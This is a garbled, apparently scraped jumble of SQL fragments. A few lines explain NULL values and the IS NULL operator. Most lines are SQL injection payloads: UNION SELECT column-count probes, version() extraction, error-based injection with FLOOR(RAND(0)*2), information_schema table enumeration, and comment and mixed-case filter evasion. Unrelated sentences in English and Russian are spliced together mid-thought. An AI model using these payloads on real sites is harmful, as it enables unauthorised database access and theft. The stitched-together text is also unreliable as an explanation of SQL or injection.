select a,b,null,null from table1 union select null,null,c,d from table2 union select null,null,null,null,e,f from table3.
Note: A NULL value is different from a zero value or a field that contains spaces. A field with a NULL value is one that has been left blank during record creation!
...20NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'
else (select 1 union select 2)end) С выводом script.php?par=1 union select 1/*!,*/2/*!,*/3/*!,*/4
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... Extract columns name without information_schema. Method for MySQL >= 4.1. First extract the column number with. ?id=(1)and(SELECT * from db.users)=(1) -- Operand should contain 4 column(s).
In order to count null values you can use the IS NULL operator, which returns 1 when the value null.